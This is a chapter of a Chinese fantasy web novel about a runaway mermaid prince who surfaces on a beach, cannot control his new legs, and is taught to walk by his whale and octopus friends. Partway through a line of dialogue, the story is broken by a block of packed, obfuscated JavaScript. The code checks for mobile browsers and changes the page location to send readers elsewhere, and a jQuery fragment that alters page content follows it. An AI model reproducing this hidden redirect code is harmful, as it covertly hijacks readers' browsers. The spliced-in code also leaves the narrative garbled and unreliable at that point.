菲尔是一条处在甜蜜的忧愁中的人鱼,当那特别的日子一天天接近,心中的苦涩与期望便更加难以纾解。
他有着两个很了不起的朋友,一条鲸鱼,在年少的时候就是打遍海中的无敌手,一条章鱼,又有奇思妙想还创造了很多发明。
他们经常在外冒险,偶尔会为他带来纪念品,与被禁足在宫殿、只能等待信件降临的他不一样,见识广博。
但他们这么了不起的鱼,却是自己的朋友,在他不能出门的时候,就来宫殿里给他讲故事。通过故事,他们好像也从未分别过一样。
他们的缘分起源于妈妈的一句戏言。
那是在三个种族开会的时候,他们的家长共同商讨海洋复苏后的发展计划,各种各样了不起的大鱼们团聚,为着扩张还是稳定发展争执不休。他们三个则在一旁的珊瑚地里过家家。
而会议结束,他的妈妈看着他们三个玩耍的样子,说了一句:
“嘿,看他们!我们三家都缺少子嗣,不如让他们联姻吧,诞下很多小鱼。”
雷音的妈妈不置可否,尤萨的舅舅皱着眉摇头,而他妈妈也只是一句戏言,所以说就说罢了,没有鱼放在心上,除了——他。
时至今日,被开玩笑许配给他俩都是他至今很感谢的一天。虽然没有人当真,他也致力于把这个玩笑变为现实。
可最近他有一个烦恼,那就是不知从什么时候,他收到的信件越来越少了,他们两个也很久没有来到宫殿中见他了。
尽管维持友谊(和爱情)并不代表需要频繁的沟通,能靠频繁的沟通就建立起的友谊,还是真正的友谊吗?但菲尔还是忍不住担忧,他会被走得过快、过远的朋友们抛下。
“您真美丽,可为什么要叹气呢?”
他的侍从在他附近给他梳头,温和地问道。
“我想要出去,不想留在这里了。”
侍从笑了,她并没有把他的焦躁当真:“当然,过完今天,您就是一条完整的人鱼了,王会将神圣的能量赐予您,您会和您的姐姐一样强大、威猛,带领着我们一族走向更盛大的未来。”
他的姐姐是他同母异父的姐姐,从很小时候就在妈妈身边帮她处理政务,菲尔在她那个年纪时在惶惶度日,在超过她那个年纪时也在惶惶度日。
她说得理所当然,族中一些不喜欢姐姐过于招张的鱼,也期望他成长为能抗衡她的鱼,可在漩涡中心的菲尔却看得明白,天资哪里是一朝一夕就能改变的呢?
他按住了正在往他的头发上挂装饰品的侍从,再三确认:“你确定,我今天只要走一个过场,领到妈妈赐予的能量,接下来的事就会由妈妈和姐姐接手,对吗?”
“没错。”
……在欢呼声中,菲尔溜出了宫殿。庆典已经接近尾声,只留下喜爱热闹的人鱼在广场中间耍杂,吸引一阵阵的喝彩。
妈妈在为他们这一批人鱼送完祝福后,就走回幕后,和姐姐一起处理政务了,自始自终没有和他对视。
按捺下心里的这一丝失落,菲尔向着头顶游去。
海水的颜色越来越亮,他做过调研,代表着他马上就要接近海平面。到了海平面,只要能找到海上悬浮的土块,就代表找到了陆地。
他坚持迫不及待要去见他的朋友们了。
…………
……
此刻,一个白墙红瓦的小房子里陷入寂静。
即使养老送终的前提是顺顺利利地活到老,但在大清早这么说还是有点太不吉利了。以至于桌上一时半会没人接话。
“你怎么,改变了心意?”
雷音半天挤出这么一句话来。
“我哪里改了,我一直都是你们最忠心、最得力的助手呀!”尤萨大言不惭地说。
“好吧,那说说看,你能帮什么忙?”
“比如、我很聪明,我能纠正你们在走的误区。”尤萨比出食指,一脸洋洋得意。
雷音挑眉,示意他接着说。
“你们现在的策略是错的。待在设有我的安全装置的房子里固然安全,但也不是万全之策。你们遭遇了刺客对吧,刺客还闯进来了对吧?你们现在你们就是个不会动的靶子,立在那儿等人打。
“只有一时做贼,没有千日防贼的。你们不可能一辈子花费精力——好吧,毕竟人类很短命,一辈子也是可以的,”说到这儿温行脸黑了,“但是这样很无聊啊。不如吸引敌人们上钩,再一网打尽!”
“我们招惹的是一个人类中的势力,一网打尽,太引人注目了,海里不会允许的。”
“那就伪造一场意外,让他们以为你们已经身亡了,”尤萨歪着头,指向自己,“而我,就是那个制造意外的人,他们不认识我,我就是,杀手锏!”
尤萨说完以后没听到反驳,就更加得意,尾巴好像要翘到天上去,他自顾自地把盘子里的面包吃完,就打算回房补觉——他一整晚没睡。
“等等,”雷音揪住了尤萨的衣领,在他困惑的注视下,说:“我觉得你的话很有道理,那么我们走吧。”
“走什么?”困意已经上来的尤萨没反应过来。
“走出去吸引敌人出现啊。”
…………
……
尤萨垂头丧气地走在沙滩上,嘴里的怨念将要化为实物。
“你这是虐待、压迫,欺负我没有反抗的力量。唔,太阳好晒,沙子好刺,我要变成鱼干了……”
雷音发现自己做了个错误判断,那是她想要让尤萨不那么得意洋洋而做的错误判断。现在沙滩上没什么人,大多数居民都在市场上卖鱼,与从市里来的批发商争论卖出去的价格,因此,就算有人在监视,也不敢在这个时候露头吧。
但他们在一块礁石后面看到了一个意料之外的身影。
“菲尔?!”
菲尔的下半身还浸透在海里,白色的双腿在水中若隐若现,在他们看到之前,他在努力地拔着自己的腿,企图用手臂力量,带动这双使不了力地腿。
在他们看到之后,就做出一幅楚楚可怜的模样,用手捂着嘴,潸然欲泣。
如果是一位熟读人类童话的人在这里,一定会对这个金发碧眼白皮肤的漂亮孩子产生一种既视感,那就是童话中的美人鱼,献祭了美妙的歌喉而获得双腿。
但这里没有正经听过人类童话的人,所以他们没有别的联想。
雷音赶上前去扶起这位许久不见的朋友,而尤萨则把玩着他头上的装饰,另有所想:“你怎么出来了,你妈妈同意了吗?”
菲尔的妈妈……雷音的脸僵住了。
菲尔是人鱼族长的孩子,他的妈妈是一位特别严厉、特别有气势的族长,大概所有对史诗时期的部落首领的幻想,都可以在那位人鱼族长身上实现。
雷音曾经以自己的名誉,向族长担保菲尔的安全,想带着他去尤萨新发现的一处沉船遗址探险,要知道,沉船还在一个大洋平原啊,那位长老只是用一种似笑非笑的表情拒绝了她,连一点想要交谈的意愿都没有流露。
当然这也无可厚非,人鱼一族是依靠稳固的种族协作运行的,他们的狩猎方式也是合作,是海洋中少有的会共同居住的种族,里面的人鱼,无论高低贵贱,在成年以前都不能独自出行。
菲尔的年纪和他们差不多大,他肯定没有成年,所以他是……雷音瞟向这只脸上藏不住慌乱的鱼。
“所以……你果然是偷溜出来的吧。”
尤萨直接点破。
这下连对视都没有了,菲尔一脸慌乱地撇开脸、低下头,怎么也不肯与他们对视,好像这样做就能延后真相到来的时机一般,实际上他的行为足以说明一切。
“不、不是、我……”连辩驳都那么无力。
“尤萨,你带他回……”
话没收完,尤萨却很鼓励地握住菲尔不知该放哪儿的手:“偷溜好啊,我最喜欢偷溜了!”
差点忘了这里还有个问题儿童。
和菲尔的情况不一样,如果说菲尔是因为那个种族管辖过严导致的无法出行,尤萨就是因为他家长有过强的控制欲了。
从他们认识起,尤萨就经常和他的家长吵架,三天一小吵,五天一大吵,偶尔还会因为想要离家出走而来他们部族求收留——不去人鱼族是因为他也怕族长——然后在下一天就被赶过来的大章鱼领走。
他的偷溜经验应该是最丰富的,每次在冒险途中遇到危险,尤萨总能第一时间消失,然后在危险解除后从不知道什么角落归来,第一次发现他强大的隐匿自己的能力,让雷音头大了很多。好在没有出什么意外,否则她都没法和长辈们交代。
而他舅舅似乎也习惯了尤萨吃软不吃硬的性格,逐渐对他采取放养措施,他们二人的关系才逐渐好转,好转的同时,也让尤萨失去了东藏西躲、等待被发现的刺激感来源。
所以,看着他此刻兴奋的样子,雷音知道接下来他绝对不会送菲尔走了。
好吧,和家人对着干也是成长中不可或缺的一环,而且菲尔也没弱到这个程度,他的歌声会让她和尤萨都感到头痛,那让他也留下好了。
“其实、我也不完全是偷偷过来……”菲尔举起他脖子上的贝壳项链,弱弱地说,“在我们成年以前,会有一个预备成年的仪式,从那一天开始就能获得自由行动的权利……虽然,要经过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483430|201881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家人的同意,而妈妈绝对不会同意就是了……”
说着,他似乎自己这段话并没法反驳“偷溜”的论断,于是也不好意思地闭了嘴。
“你的腿怎么了,它骨折了吗?”
这时,雷音问。
她行动力很强,一边问着,手就一边去摸骨,检查一番,好像没有明显的问题,腿上也没伤痕,看起来没出毛病啊。
菲尔的脸涨得通红:“呃,我也不知道,它好像出毛病了。”
“你站起来看看。”雷音下令。
她盯着菲尔,而菲尔在这样的注视下也只能乖乖听令。他使用自己的腰部力量起身,柔弱的面庞和正在滴水的金色发丝应该惹人怜爱,可从他使力的第一秒就开始变得滑稽。
他的胯部往前顶,而头往后仰,大腿颤颤巍巍地直起来,膝盖跪立,稳定一会后开始让小腿站起来,两只小腿却不听使唤,在失去膝盖这个唯一的支点后东倒西歪地向两边歪,他的上半身也不遑多让,柔软的腰肢此刻像弹簧一样前后左右肆意晃动,腰部仿佛只是一个摆设,上半身和下半身各走各的。
总之,挣扎了一会还是失败,在平衡点被打破到难以复原的时候,菲尔歪斜地倒地,用两只手充当新的支点,雷音终于知道最开始那个动作是从哪儿来的了。
从头至尾看到这只可怜的人鱼驯服自己双腿的过程,也说不出什么指责的话语来了,连尤萨都面带可怜。
“不要用那种眼神看着我呀,那种眼神最可怕了!”菲尔终于还是自暴自弃地喊出来,他的头朝下不肯让他们看自己现在的模样。
出师未捷身先死,明明想要让他们看见自己惹人爱的一面,重燃(那并不存在)的爱情之火,可却让他们看到了自己这叫人发笑的模样。
难道这就是报应吗?以前从来没有做过坏事的鱼这样反省自己。
雷音拍着他的背安抚他,她之前上岸的时候,没有遇到过这种问题,在拥有双腿双脚的一瞬间,她就无师自通了控制的方法。
她看向可能有经验的尤萨,却见他摆了摆手:“我的经验不是配哦,你知道的,我没有骨头,身体里的架构都是拟造出来的。和你们不同,我的困难不是学会怎么操控身体,而是怎么把身体捏得像人类一样。”
“而那……”说到这儿,尤萨露出个无可奈何的表情,“就只能靠多多实践啦!”
他弯下腰来拍拍那个表情逐渐空白的人鱼:“任重而道远咯,亲爱的~”
…………
……
他们练习了一个上午。
整个上午,雷音都试图把她对身体的精妙感受教授与菲尔,但精妙感受如果能凭不擅长描述的她的三言两语传递出去,就不叫精妙感受了。
总之,在雷音把菲尔越教越歪,甚至让他去学天灵感应的时候,被尤萨紧急叫停了。
“我的经验是,控制身体里的空气。”
尤萨严肃地说,可他严肃说还不如不严肃说,因为在场的各位都没理解,可他还是继续:“让下半身的空气进入上半身,使上半身空白,上半身就会像气球一样,稳稳地吊在空中啦。”
“你的经验不适配,”雷音终于听出毛病了,“你的原型小于现在这副人类躯体,我大于,而菲尔的大小几乎没有改变,他没法挖空脑袋。”
这个比喻有点血腥,菲尔听后默默地捂住自己的脑袋。
“怎么感觉你再说我脑袋空空?”尤萨抱怨道,“要说为什么,都得怪你拉着我来散步吧,本来现在我该美美入梦的。”
雷音吐舌。
看不下去的温行终于上前了,主要是,他想和雷音多接触一点,而新来的这位似乎吸引了她全部的关注。
他在注视过程中,磕磕绊绊地回忆小时候看过的几个幼儿学走路的广告片,终于整合出一套完整的流程后,开始站住来教习菲尔。
世世代代总结出的经验就是好用,菲尔已经可以在别人的搀扶下,顺利地走一段距离了,虽然速度很慢,也离不开别人的搀扶,但多少能看出的进步还是让大家感到欣慰。
太阳逐渐移到正中央,在尤萨第三十五次抱怨,而菲尔和温行也有些疲惫的时候,雷音拍拍手带着他们离开。
经过刚才的演习,本来和两只新来的鱼都不太熟悉的温行也能插入他们的话题了,回去的路上还能帮忙总结菲尔刚刚出的差错。
说笑地走回家,他们在门口看见一个熟悉的人影。
“那是谁呀?”
并不熟悉的菲尔探出头来小声问道。
“木木,有事吗?”
那张疲惫的脸听到雷音的声音,转过头来露出一个微笑。